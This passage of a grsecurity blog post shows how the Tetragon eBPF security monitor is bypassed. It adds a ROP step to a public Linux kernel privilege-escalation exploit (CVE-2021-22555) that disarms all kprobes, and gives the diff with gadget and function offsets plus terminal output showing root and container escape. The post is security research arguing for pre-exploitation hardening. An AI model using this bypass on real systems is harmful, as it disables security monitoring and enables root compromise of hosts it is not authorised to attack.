[*] <span class="hljs-symbol">Freeing</span> fake secondary messages...
[*] <span class="hljs-symbol">Spraying</span> fake secondary messages...
[*] <span class="hljs-symbol">Leaking</span> primary message...
[+] kheap_addr: ffff92bc6e420000

[+] <span class="hljs-symbol">STAGE</span> <span class="hljs-number">3</span>: <span class="hljs-symbol">KASLR</span> bypass
[*] <span class="hljs-symbol">Freeing</span> fake secondary messages...
[*] <span class="hljs-symbol">Spraying</span> fake secondary messages...
[*] <span class="hljs-symbol">Freeing</span> sk_buff data buffer...
[*] <span class="hljs-symbol">Spraying</span> pipe_buffer objects...
[*] <span class="hljs-symbol">Leaking</span> and freeing pipe_buffer object...
[+] anon_pipe_buf_ops: ffffffffb7278380
[+] kbase_addr: ffffffffb6200000

[+] <span class="hljs-symbol">STAGE</span> <span class="hljs-number">4</span>: <span class="hljs-symbol">Kernel</span> code execution
[*] <span class="hljs-symbol">Spraying</span> fake pipe_buffer objects...
[*] <span class="hljs-symbol">Releasing</span> pipe_buffer objects...
<span class="hljs-symbol">Killed</span>
</code></pre>
<p>Finally! Now we can get to the juice.</p>
<h4 id="how-to-bypass-tetragon-">How to bypass Tetragon?</h4>
<p>The team immediately proposed a number of feasible ideas, but it was Friday early afternoon and I really wanted to finish the bypass before the end of the business day, so I wanted the easiest bypass I could spot quickly requiring as few modifications to the original exploit as possible.</p>
<p>What is the easiest way of controlling Linux kernel runtime behavior? The <code>sysctl</code> of course...</p>
<pre><code class="lang-bash">wipawel<span class="hljs-variable">@esx2</span>-ubnt-<span class="hljs-number">20</span>-<span class="hljs-number">04</span>-<span class="hljs-number">02</span><span class="hljs-symbol">:~/tetragon</span><span class="hljs-variable">$ </span>sudo sysctl -a|grep -i bpf
[sudo] password <span class="hljs-keyword">for</span> <span class="hljs-symbol">wipawel:</span> 
kernel.bpf_stats_enabled = <span class="hljs-number">0</span>
kernel.unprivileged_bpf_disabled = <span class="hljs-number">0</span>
net.core.bpf_jit_enable = <span class="hljs-number">1</span>
net.core.bpf_jit_harden = <span class="hljs-number">0</span>
net.core.bpf_jit_kallsyms = <span class="hljs-number">1</span>
net.core.bpf_jit_limit = <span class="hljs-number">264241152</span>
</code></pre>
<p>Nothing in there.</p>
<p>What is the second easiest way? The <code>sysfs</code>...</p>
<p>I went into the <code>/sys/fs/bpf</code> directory to look around but did not find anything particularly useful. But, at this moment something clicked in my mind: Tetragon uses kprobes! Look at the log entry:</p>
<pre><code class="lang-shell"><span class="hljs-symbol">time</span>=<span class="hljs-string">"2022-05-21T12:37:47+02:00"</span> level<span class="hljs-symbol">=info</span> msg=<span class="hljs-string">"Load probe"</span> Program<span class="hljs-symbol">=bpf</span>/objs/<span class="hljs-keyword">bpf_generic_kprobe_v53.o </span>Type<span class="hljs-symbol">=generic_kprobe</span>
<span class="hljs-keyword">bpf </span>tetragon_kprobe_calls <span class="hljs-meta">map</span> <span class="hljs-keyword">and </span>progs /sys/fs/<span class="hljs-keyword">bpf/tcpmon/kprobe_do_execve </span>mapfd <span class="hljs-number">106</span>
</code></pre>
<p>I knew what to do with it.</p>
<pre><code class="lang-shell">root<span class="hljs-variable">@esx2</span>-ubnt-<span class="hljs-number">20</span>-<span class="hljs-number">04</span>-<span class="hljs-number">02</span><span class="hljs-symbol">:/</span><span class="hljs-comment"># cd /sys/kernel/debug/kprobes/</span>
root<span class="hljs-variable">@esx2</span>-ubnt-<span class="hljs-number">20</span>-<span class="hljs-number">04</span>-<span class="hljs-number">02</span><span class="hljs-symbol">:/sys/kernel/debug/kprobes</span><span class="hljs-comment"># ls</span>
blacklist  enabled  list
</code></pre>
<p>There is a general kprobes kill-switch exposed via sysfs!</p>
<p>Let's take a look at the kernel function attached to the <code>enabled</code> file:</p>
<pre><code class="lang-c">In kernel/kprobes.c:

<span class="hljs-function"><span class="hljs-keyword">static</span> ssize_t <span class="hljs-title">write_enabled_file_bool</span><span class="hljs-params">(<span class="hljs-keyword">struct</span> file *file,
               <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> __user *user_buf, <span class="hljs-keyword">size_t</span> count, <span class="hljs-keyword">loff_t</span> *ppos)</span>
</span>{
        <span class="hljs-keyword">char</span> buf[<span class="hljs-number">32</span>];
        <span class="hljs-keyword">size_t</span> buf_size;
        <span class="hljs-keyword">int</span> ret = <span class="hljs-number">0</span>;

        buf_size = min(count, (<span class="hljs-keyword">sizeof</span>(buf)<span class="hljs-number">-1</span>));
        <span class="hljs-keyword">if</span> (copy_from_user(buf, user_buf, buf_size))
                <span class="hljs-keyword">return</span> -EFAULT;

        buf[buf_size] = <span class="hljs-string">'\0'</span>;
        <span class="hljs-keyword">switch</span> (buf[<span class="hljs-number">0</span>]) {
        <span class="hljs-keyword">case</span> <span class="hljs-string">'y'</span>:
        <span class="hljs-keyword">case</span> <span class="hljs-string">'Y'</span>:
        <span class="hljs-keyword">case</span> <span class="hljs-string">'1'</span>:
                ret = arm_all_kprobes();
                <span class="hljs-keyword">break</span>;
        <span class="hljs-keyword">case</span> <span class="hljs-string">'n'</span>:
        <span class="hljs-keyword">case</span> <span class="hljs-string">'N'</span>:
        <span class="hljs-keyword">case</span> <span class="hljs-string">'0'</span>:
                ret = disarm_all_kprobes();
                <span class="hljs-keyword">break</span>;
        <span class="hljs-keyword">default</span>:
                <span class="hljs-keyword">return</span> -EINVAL;
        }

        <span class="hljs-keyword">if</span> (ret)
                <span class="hljs-keyword">return</span> ret;

        <span class="hljs-keyword">return</span> count;
}

<span class="hljs-keyword">static</span> <span class="hljs-keyword">const</span> <span class="hljs-keyword">struct</span> file_operations fops_kp = {
        .read =         read_enabled_file_bool,
        .write =        write_enabled_file_bool,
        .llseek =       default_llseek,
};
</code></pre>
<p>Notice the <code>disarm_all_kprobes()</code> function. That is the solution I was looking for: simple, effective and even persistent.</p>
<p>Unfortunately, in the Ubuntu kernel <code>5.8.0-48-generic</code> the <code>disarm_all_kprobes()</code> function is inlined, so calling it directly via the exploit's ROP would be cumbersome (for an early Friday afternoon). Hence I decided to call the <code>write_enabled_file_bool()</code> function directly. It takes four parameters:</p>
<ul>
<li><code>struct file *file</code> - which is not used, can be NULL</li>
<li><code>const char __user *user_buf</code> - indicating the parameters ('y'/'n' to enable/disable the kprobes)</li>
<li><code>size_t count</code> - indicating size of the parameter passed</li>
<li><code>loff_t *ppos</code> - offset that is not used and can be NULL</li>
</ul>
<p>Also, notice how convenient this function is: despite it requiring passing a string to disable kprobes, it expects it to copy its content from user-space directly (it is a sysfs file handler after all!). So, there is no problem as far as SMAP is concerned.</p>
<p> Now, time to add the <code>write_enabled_file_bool()</code> invocation to the ROP chain of theflow's exploit:</p>
<pre><code class="lang-diff"><span class="hljs-comment">--- exploit.c    2022-05-21 12:37:05.379811547 +0200</span>
<span class="hljs-comment">+++ exploit_mod.c    2022-05-21 12:37:01.145040789 +0200</span>
<span class="hljs-meta">@@ -158,6 +158,9 @@</span>
 // 0xffffffff810005ae : pop rbp ; ret
 #define POP_RBP_RET 0x5AE

<span class="hljs-addition">+// 0xffffffff810ffb88: pop rdx; pop rbp; ret;</span>
<span class="hljs-addition">+#define POP_RDX_RBP_RET 0xFFB88</span>
<span class="hljs-addition">+</span>
 // 0xffffffff81557894 : mov rdi, rax ; jne 0xffffffff81557888 ; xor eax, eax ; ret
 #define MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET 0x557894
 // 0xffffffff810724db : cmp rcx, 4 ; jne 0xffffffff810724c0 ; pop rbp ; ret
<span class="hljs-meta">@@ -167,6 +170,7 @@</span>
 #define SWITCH_TASK_NAMESPACES 0xC7A50
 #define COMMIT_CREDS 0xC8C80
 #define PREPARE_KERNEL_CRED 0xC9110
<span class="hljs-addition">+#define WRITE_ENABLED_FILE_BOOL 0x17E050</span>

 #define ANON_PIPE_BUF_OPS 0x1078380
 #define INIT_NSPROXY 0x1663080
<span class="hljs-meta">@@ -322,6 +326,8 @@</span>
   return 0;
 }

<span class="hljs-addition">+const char *disable = "n";</span>
<span class="hljs-addition">+</span>
 // Note: Must not touch offset 0x10-0x18.
 void build_krop(char *buf, uint64_t kbase_addr, uint64_t scratchpad_addr) {
   uint64_t *rop;
<span class="hljs-meta">@@ -396,6 +402,17 @@</span>
   *rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET;
   *rop++ = kbase_addr + COMMIT_CREDS;

<span class="hljs-addition">+  *rop++ = kbase_addr + POP_RDI_RET;</span>
<span class="hljs-addition">+  *rop++ = 0; // RDI</span>
<span class="hljs-addition">+  *rop++ = kbase_addr + POP_RSI_RET;</span>
<span class="hljs-addition">+  *rop++ = disable; // RSI</span>
<span class="hljs-addition">+  *rop++ = kbase_addr + POP_RDX_RBP_RET;</span>
<span class="hljs-addition">+  *rop++ = 0xDEADBEEF; // RBP</span>
<span class="hljs-addition">+  *rop++ = 1; // RDX</span>
<span class="hljs-addition">+  *rop++ = kbase_addr + POP_RCX_RET;</span>
<span class="hljs-addition">+  *rop++ = 0; // RCX</span>
<span class="hljs-addition">+  *rop++ = kbase_addr + WRITE_ENABLED_FILE_BOOL;</span>
<span class="hljs-addition">+</span>
   // switch_task_namespaces(find_task_by_vpid(1), init_nsproxy)
   *rop++ = kbase_addr + POP_RDI_RET;
   *rop++ = 1; // RDI
</code></pre>
<p>All I had to do is to populate the four parameters of the function. For that, I had RDI, RSI and RCX gadgets already present in the original exploit code. I needed to find another one for RDX. This task was done with <code>ropper</code> within five minutes. I decided to use a <code>POP_RDX_RBP_RET</code> gadget located in the <code>.text</code> section at offset 0xFFB88.</p>
<p>The RDI holding the <code>file</code> pointer value can be 0, RSI holding address of the string in user-land can just have an address of the <code>disable</code> string I put in there, RDX corresponding to the <code>count</code> parameter describes the size of the string (1 char), and RCX for <code>ppos</code> offset can be 0 as well.</p>
<p>With these modifications, I compiled the exploit, and voila:</p>
<pre><code class="lang-shell">wipawel@esx2-ubnt<span class="hljs-number">-20</span><span class="hljs-number">-04</span><span class="hljs-number">-02</span>:~$ ./exploit_mod 
[+] <span class="hljs-symbol">Linux</span> <span class="hljs-symbol">Privilege</span> <span class="hljs-symbol">Escalation</span> by theflow@ - <span class="hljs-number">2021</span>

[+] <span class="hljs-symbol">STAGE</span> <span class="hljs-number">0</span>: <span class="hljs-symbol">Initialization</span>
[*] <span class="hljs-symbol">Setting</span> up namespace sandbox...
[*] <span class="hljs-symbol">Initializing</span> sockets and message queues...

[+] <span class="hljs-symbol">STAGE</span> <span class="hljs-number">1</span>: <span class="hljs-symbol">Memory</span> corruption
[*] <span class="hljs-symbol">Spraying</span> primary messages...
[*] <span class="hljs-symbol">Spraying</span> secondary messages...
[*] <span class="hljs-symbol">Creating</span> holes in primary messages...
[*] <span class="hljs-symbol">Triggering</span> out-of-bounds write...
[*] <span class="hljs-symbol">Searching</span> for corrupted primary message...
[+] fake_idx: bf9
[+] real_idx: bc5

[+] <span class="hljs-symbol">STAGE</span> <span class="hljs-number">2</span>: <span class="hljs-symbol">SMAP</span> bypass
[*] <span class="hljs-symbol">Freeing</span> real secondary message...
[*] <span class="hljs-symbol">Spraying</span> fake secondary messages...
[*] <span class="hljs-symbol">Leaking</span> adjacent secondary message...
[+] kheap_addr: ffff92bc6a3b0000
[*] <span class="hljs-symbol">Freeing</span> fake secondary messages...
[*] <span class="hljs-symbol">Spraying</span> fake secondary messages...
[*] <span class="hljs-symbol">Leaking</span> primary message...
[+] kheap_addr: ffff92bc69a90000

[+] <span class="hljs-symbol">STAGE</span> <span class="hljs-number">3</span>: <span class="hljs-symbol">KASLR</span> bypass
[*] <span class="hljs-symbol">Freeing</span> fake secondary messages...
[*] <span class="hljs-symbol">Spraying</span> fake secondary messages...
[*] <span class="hljs-symbol">Freeing</span> sk_buff data buffer...
[*] <span class="hljs-symbol">Spraying</span> pipe_buffer objects...
[*] <span class="hljs-symbol">Leaking</span> and freeing pipe_buffer object...
[+] anon_pipe_buf_ops: ffffffffb7278380
[+] kbase_addr: ffffffffb6200000

[+] <span class="hljs-symbol">STAGE</span> <span class="hljs-number">4</span>: <span class="hljs-symbol">Kernel</span> code execution
[*] <span class="hljs-symbol">Spraying</span> fake pipe_buffer objects...
[*] <span class="hljs-symbol">Releasing</span> pipe_buffer objects...
[*] <span class="hljs-symbol">Checking</span> for root...
[+] <span class="hljs-symbol">Root</span> privileges gained.

[+] <span class="hljs-symbol">STAGE</span> <span class="hljs-number">5</span>: <span class="hljs-symbol">Post</span>-exploitation
[*] <span class="hljs-symbol">Escaping</span> container...
[*] <span class="hljs-symbol">Cleaning</span> up...
[*] <span class="hljs-symbol">Popping</span> root shell...
root@esx2-ubnt<span class="hljs-number">-20</span><span class="hljs-number">-04</span><span class="hljs-number">-02</span>:/#
</code></pre>
<p>Tetragon has been successfully bypassed within circa 2 hours after first setting it up (which took nearly two days).</p>
<p>There is also a nice side-effect of the <code>write_enabled_file_bool()</code> (ab)use: it keeps the kprobes disarmed and disabled. All other policies of Tetragon using kprobes will not work until the kprobes are re-enabled again. Even newly added policies to Tetragon do not work, because of the disabled kprobes.</p>
<p>Tetragon really became <em>Tetragone</em>.</p>
<p>Just in case one wonders if adding the <code>CAP_SYS_ADMIN</code> capability change check to the <code>write_enabled_file_bool()</code> function would solve the problem, notice that at the point this function is called, the privilege has been already elevated and hence such a check would be bogus.</p>
<h3 id="funny-twist-of-events">Funny twist of events</h3>
<p>After publishing the outcome of this effort on Twitter, the Isovalent CTO came back accusing me of playing unfair, because I did not publish the policy I used. That was a rather bold move, because they did not publish theirs either in the first place. I asked if he could publish the one they used.  He agreed and provided it (from <a href="#6">[6]</a>):</p>
<pre><code class="lang-yaml"><span class="hljs-attribute">apiVersion</span>: cilium.io/v1alpha1
 <span class="hljs-attribute">kind</span>: TracingPolicy
 <span class="hljs-attribute">metadata</span>:
   <span class="hljs-attribute">name</span>: <span class="hljs-string">"capability-change"</span>
 <span class="hljs-attribute">spec</span>:
   <span class="hljs-attribute">kprobes</span>:
   - <span class="hljs-attribute">call</span>: <span class="hljs-string">"__close_fd"</span>
     <span class="hljs-attribute">syscall</span>: false
     <span class="hljs-attribute">args</span>:
     - <span class="hljs-attribute">index</span>: <span class="hljs-number">0</span>
       <span class="hljs-attribute">type</span>: <span class="hljs-string">"nop"</span>
     - <span class="hljs-attribute">index</span>: <span class="hljs-number">1</span>
       <span class="hljs-attribute">type</span>: <span class="hljs-string">"nop"</span>
     <span class="hljs-attribute">selectors</span>:
     - <span class="hljs-attribute">matchCapabilities</span>:
       - <span class="hljs-attribute">type</span>: Effective
         <span class="hljs-attribute">operator</span>: In
         <span class="hljs-attribute">values</span>:
         - <span class="hljs-string">"CAP_SYS_ADMIN"</span>
       <span class="hljs-attribute">matchCapabilityChanges</span>:
       - <span class="hljs-attribute">type</span>: Effective
         <span class="hljs-attribute">operator</span>: In
         <span class="hljs-attribute">values</span>:
         - <span class="hljs-string">"CAP_SYS_ADMIN"</span>
       <span class="hljs-attribute">matchActions</span>:
       - <span class="hljs-attribute">action</span>: Sigkill
         <span class="hljs-attribute">argError</span>: <span class="hljs-number">0</span>
</code></pre>
<p>Notice, that it is unlikely to be the original policy they used, as the initial one in the blog targeted the <code>execve()</code> syscall while the updated one targeted the <code>close()</code> syscall where the actual escalation occurred (ignore the <code>open()</code> error in the quote below).</p>
<p>From the Tetragon website <a href="#1">[1]</a>:</p>
<p><img src="/tetragone_images/tetragon_wrong_analysis.png" alt="Image of a hasty/inaccurate edit to the Tetragon blog"></p>
<p>But, never mind. Let's try the exploit against it:</p>
<pre><code class="lang-shell">wipawel@esx2-ubnt<span class="hljs-number">-20</span><span class="hljs-number">-04</span><span class="hljs-number">-02</span>:~/tetragon$ ./tetra tracingpolicy add close.yaml 

time=<span class="hljs-string">"2022-05-21T13:58:21+02:00"</span> level=warning msg=<span class="hljs-string">"kprobe spec validation: type (struct files_struct *) of argument 0 does not match spec type (nop)\n"</span>
time=<span class="hljs-string">"2022-05-21T13:58:21+02:00"</span> level=info msg=<span class="hljs-string">"Added generic kprobe sensor: bpf/objs/bpf_generic_kprobe_v53.o -&gt; __close_fd"</span>
time=<span class="hljs-string">"2022-05-21T13:58:21+02:00"</span> level=info msg=<span class="hljs-string">"Using metadata file"</span> metadata=/home/wipawel/git/tetragon/vmlinux<span class="hljs-number">-5.8</span><span class="hljs-number">.0</span><span class="hljs-number">-48</span>-generic
time=<span class="hljs-string">"2022-05-21T13:58:21+02:00"</span> level=info msg=<span class="hljs-string">"Loading sensor"</span> name=<span class="hljs-symbol">__generic_kprobe_sensors__</span>
time=<span class="hljs-string">"2022-05-21T13:58:21+02:00"</span> level=info msg=<span class="hljs-string">"Loading kernel version 5.8.18"</span>
time=<span class="hljs-string">"2022-05-21T13:58:21+02:00"</span> level=info msg=<span class="hljs-string">"Load probe"</span> <span class="hljs-symbol">Program</span>=bpf/objs/bpf_generic_kprobe_v53.o <span class="hljs-symbol">Type</span>=generic_kprobe
bpf tetragon_kprobe_calls map and progs /sys/fs/bpf/tcpmon/kprobe___close_fd mapfd <span class="hljs-number">110</span>
time=<span class="hljs-string">"2022-05-21T13:58:22+02:00"</span> level=info msg=<span class="hljs-string">"Loaded generic kprobe sensor: bpf/objs/bpf_generic_kprobe_v53.o -&gt; __close_fd"</span>
time=<span class="hljs-string">"2022-05-21T13:58:22+02:00"</span> level=info msg=<span class="hljs-string">"BPF prog was loaded"</span> label=kprobe/generic_kprobe prog=bpf/objs/bpf_generic_kprobe_v53.o
time=<span class="hljs-string">"2022-05-21T13:58:22+02:00"</span> level=info msg=<span class="hljs-string">"Loaded BPF maps and events for sensor successfully"</span> sensor=<span class="hljs-symbol">__generic_kprobe_sensors__</span>

wipawel@esx2-ubnt<span class="hljs-number">-20</span><span class="hljs-number">-04</span><span class="hljs-number">-02</span>:~$ ./exploit_mod 
[+] <span class="hljs-symbol">Linux</span> <span class="hljs-symbol">Privilege</span> <span class="hljs-symbol">Escalation</span> by theflow@ - <span class="hljs-number">2021</span>

[+] <span class="hljs-symbol">STAGE</span> <span class="hljs-number">0</span>: <span class="hljs-symbol">Initialization</span>
[*] <span class="hljs-symbol">Setting</span> up namespace sandbox...
[*] <span class="hljs-symbol">Initializing</span> sockets and message queues...

[+] <span class="hljs-symbol">STAGE</span> <span class="hljs-number">1</span>: <span class="hljs-symbol">Memory</span> corruption
[*] <span class="hljs-symbol">Spraying</span> primary messages...
[*] <span class="hljs-symbol">Spraying</span> secondary messages...
[*] <span class="hljs-symbol">Creating</span> holes in primary messages...
[*] <span class="hljs-symbol">Triggering</span> out-of-bounds write...
[*] <span class="hljs-symbol">Searching</span> for corrupted primary message...
[+] fake_idx: <span class="hljs-number">801</span>
[+] real_idx: <span class="hljs-number">7</span>ec

[+] <span class="hljs-symbol">STAGE</span> <span class="hljs-number">2</span>: <span class="hljs-symbol">SMAP</span> bypass
[*] <span class="hljs-symbol">Freeing</span> real secondary message...
[*] <span class="hljs-symbol">Spraying</span> fake secondary messages...
[*] <span class="hljs-symbol">Leaking</span> adjacent secondary message...
[+] kheap_addr: ffff92bc653de000
[*] <span class="hljs-symbol">Freeing</span> fake secondary messages...
[*] <span class="hljs-symbol">Spraying</span> fake secondary messages...
[*] <span class="hljs-symbol">Leaking</span> primary message...
[+] kheap_addr: ffff92bc64590000

[+] <span class="hljs-symbol">STAGE</span> <span class="hljs-number">3</span>: <span class="hljs-symbol">KASLR</span> bypass
[*] <span class="hljs-symbol">Freeing</span> fake secondary messages...
[*] <span class="hljs-symbol">Spraying</span> fake secondary messages...
[*] <span class="hljs-symbol">Freeing</span> sk_buff data buffer...
[*] <span class="hljs-symbol">Spraying</span> pipe_buffer objects...
[*] <span class="hljs-symbol">Leaking</span> and freeing pipe_buffer object...
[+] anon_pipe_buf_ops: ffffffffb7278380
[+] kbase_addr: ffffffffb6200000

[+] <span class="hljs-symbol">STAGE</span> <span class="hljs-number">4</span>: <span class="hljs-symbol">Kernel</span> code execution
[*] <span class="hljs-symbol">Spraying</span> fake pipe_buffer objects...
[*] <span class="hljs-symbol">Releasing</span> pipe_buffer objects...
[*] <span class="hljs-symbol">Checking</span> for root...
[+] <span class="hljs-symbol">Root</span> privileges gained.

[+] <span class="hljs-symbol">STAGE</span> <span class="hljs-number">5</span>: <span class="hljs-symbol">Post</span>-exploitation
[*] <span class="hljs-symbol">Escaping</span> container...
[*] <span class="hljs-symbol">Cleaning</span> up...
[*] <span class="hljs-symbol">Popping</span> root shell...
root@esx2-ubnt<span class="hljs-number">-20</span><span class="hljs-number">-04</span><span class="hljs-number">-02</span>:/#
</code></pre>
<p>Still works! But, I like to be thorough. Let's reboot the box and try again.</p>
<p><a href="/tetragone_images/close_kill.png"><img src="/tetragone_images/close_kill.png" alt="Image of Tetragon terminating itself prior to an exploit disabling all of its kprobes-based policy"></a></p>
<p>Upon applying the policy provided by the Isovalent CTO, the Tetragon daemon terminated itself!  This isn't surprising &mdash; other undesired terminations due to the coarse-grained policy preventing legitimate apps like <code>sudo</code> from working were observed during testing.  Contrary to their blog update, such a simple-looking policy on all syscalls rather than just <code>close()</code> is likely <em>not</em> what mitigating should/would look like in production.</p>
<p>Regardless, the exploit naturally still worked fine.</p>
<h2 id="-you-win-this-round-but-">&quot;You win this round, but...&quot;</h2>
<p>By publishing this simple, trivially-reusable bypass, we expect Tetragon to attempt some workaround.  This would of course ignore the point of this blog and be bypassed by another, equally-trivial ROP addition.  It will be particularly notable if those involved in Tetragon push for upstream Linux to harden the code around kprobes in an attempt to prevent this one specific attack, as it'd be an implicit admission of the eBPF-based security approach being incapable of defending itself from the threat of kernel exploits.  Time will tell, but having been involved in this space for over 20 years, the general scenario that seems to play out time and again (e.g. for KASLR) is that the side proposing and invested into the indefensible mitigation continues spending years propping it up with little fixes, providing useful fodder for security conference talks, while the underlying fundamentals don't change and the other side eventually gets tired of pointing this out.</p>
<p>There will be no CVE for the bypass described above, and we will not request one, because there's no actual vulnerability of a specific defined security boundary involved, just one of innumerably many possibilities that could be published or used, even without any knowledge of any post-exploitation policies of Tetragon in place, contrary to what was claimed <a href="#8">[8]</a>.</p>
<h2 id="what-s-the-alternative-">What's the alternative?</h2>
<p>Typically, we prefer to let technical results speak for themselves, but in this instance, we were specifically asked to add a section about alternatives <a href="#9">[9]</a>.</p>
<p>The Isovalent CTO asked on Twitter several times about alternatives, suggesting that since no alternatives exist, anything is better than nothing (despite, for instance, grsecurity existing for over two decades). So, what is the alternative to kernel post-exploitation &quot;mitigation&quot;?</p>
<p>The only sensible alternative is to add <strong>pre-exploitation</strong> defense. One should <strong>prevent</strong> kernel vulnerabilities from being present/reached, but if that still happens, one should make exploitation meaningfully harder (NB: not in a 2 hours sense, but in a &quot;plenty of time to QA and roll out updates&quot; sense) or impossible. Otherwise, it is too late and all bets are off. </p>
<p>Let's take grsecurity as an obvious example. It comes with several layers of protection against exploits, such as the one used above.  We can use three examples which map directly to the first three points from our earlier graphic:</p>
<ol>
<li><p>Unprivileged user namespaces are not supported</p>
</li>
<li><p>Slab allocations are hardened to hinder and detect heap-based memory corruption bugs</p>
</li>
<li><p>Control Flow Integrity enforced by RAP, to prevent Return Oriented Programming (ROP) attacks</p>
</li>
</ol>
<h2 id="conclusion">Conclusion</h2>
<p>Realistically, this blog will likely change little (other than perhaps the removal of the section in the Tetragon blog about preventing kernel exploits, as happened late yesterday), as obvious strong commercial incentives continue to exist for appearing to address the large problem of kernel exploits. We would echo the suggestion of several other experts that Tetragon instead focus its efforts on attack surface reduction and issues related to userland, as its too-late involvement in the process of kernel exploitation provides little more than a false sense of security.</p>
<h2 id="references">References</h2>
<p><a id="1">[1]</a> <a href="https://isovalent.com/blog/post/2022-05-16-tetragon">https://isovalent.com/blog/post/2022-05-16-tetragon</a></p>
<p><a id="2">[2]</a> <a href="https://twitter.com/_minipli/status/1527194006551142400">https://twitter.com/_minipli/status/1527194006551142400</a></p>
<p><a id="3">[3]</a> <a href="https://github.com/cilium/tetragon">https://github.com/cilium/tetragon</a></p>
<p><a id="4">[4]</a> <a href="https://github.com/cilium/tetragon/blob/main/docs/contributing/development/README.md">https://github.com/cilium/tetragon/blob/main/docs/contributing/development/README.md</a></p>
<p><a id="5">[5]</a> <a href="https://github.com/google/security-research/blob/master/pocs/linux/cve-2021-22555/exploit.c">https://github.com/google/security-research/blob/master/pocs/linux/cve-2021-22555/exploit.c</a></p>
<p><a id="6">[6]</a> <a href="https://gist.github.com/tgraf/e5bd8fb4955cac139b02b370a87b268a">https://gist.github.com/tgraf/e5bd8fb4955cac139b02b370a87b268a</a></p>
<p><a id="7">[7]</a> <a href="https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html#bypassing-smap">https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html#bypassing-smap</a></p>
<p><a id="8">[8]</a> <a href="https://twitter.com/tgraf__/status/1527701890842099717">https://twitter.com/tgraf__/status/1527701890842099717</a></p>
<p><a id="9">[9]</a> <a href="https://twitter.com/tgraf__/status/1527668174786899970">https://twitter.com/tgraf__/status/1527668174786899970</a></p>


                                        </div><!-- .panel -->
                                </div><!-- .wrap -->
                        </section>
                </article>
        </main>

    <footer class="colophon" role="contentinfo">
            <div class="upper-footer wrap">
                <a class="back-to-top" href="#top">Back to Top</a>

                <div class="col-1-3 first about">
                    <h4>About grsecurity</h4>
                    <p>grsecurity® is an extensive security enhancement to the Linux kernel that defends against a wide range of security threats through intelligent access control, memory corruption-based exploit prevention, and a host of other system hardening that generally require no configuration.</p>
                </div>
                <div class="col-1-3 quick-links">
                    <div class="upper-footer-inner-wrap">
                        <h4>Quick Links</h4>
                        <nav class="footer-menu">
                            <ul>
                               <li><a href="index.php">Home</a></li>
                                <li><a href="features.php">Features</a></li>
                                <li><a href="support.php">Support</a></li>
                                <li><a href="papers.php">Papers</a></li>
                                <li><a href="research.php">Research</a></li>
                                <li><a href="blog.php">Blog</a></li>
                                <li><a href="download.php">Download</a></li>
                            </ul>
                        </nav>
                    </div>
                </div>
                <div class="col-1-3 last contact">
                    <div class="upper-footer-inner-wrap">
                        <h4>Get in Touch</h4>
                        <span class="phone"><a href="tel:+1 949-424-7732">+1 949-424-7732</a></span>
                        <span class="email"><a href="mailto:contact@grsecurity.net">contact@grsecurity.net</a></span>
                        <span class="twitter"><a href="https://twitter.com/grsecurity">@grsecurity</a></span>
                    </div>
                </div>
            </div>
            <hr>
            <div class="lower-footer wrap">
                <div class="fine-print">
                    <a href="trademark_policy.php"><strong>Trademark Policy</strong></a> <a href="privacy_policy.php"><strong>Privacy Policy</strong></a> <a href="terms_and_conditions.php"><strong>Terms &amp; Conditions</strong></a>
                </div>
                <span class="text">&copy; Open Source Security, Inc 2013-2022.</span><br>
		<span class="text">grsecurity and RAP are registered trademarks of Open Source Security, Inc.</span>
		<span class="text">Linux is the registered trademark of Linus Torvalds.</span>

            </div><!-- .lower-footer -->

    </footer><!-- .colophon -->

<script src="/js/webfont.js"></script>
<script src="/js/webfont_load.js"></script>

<script type='text/javascript' src='/js/script.js'></script>

</body>
</html>
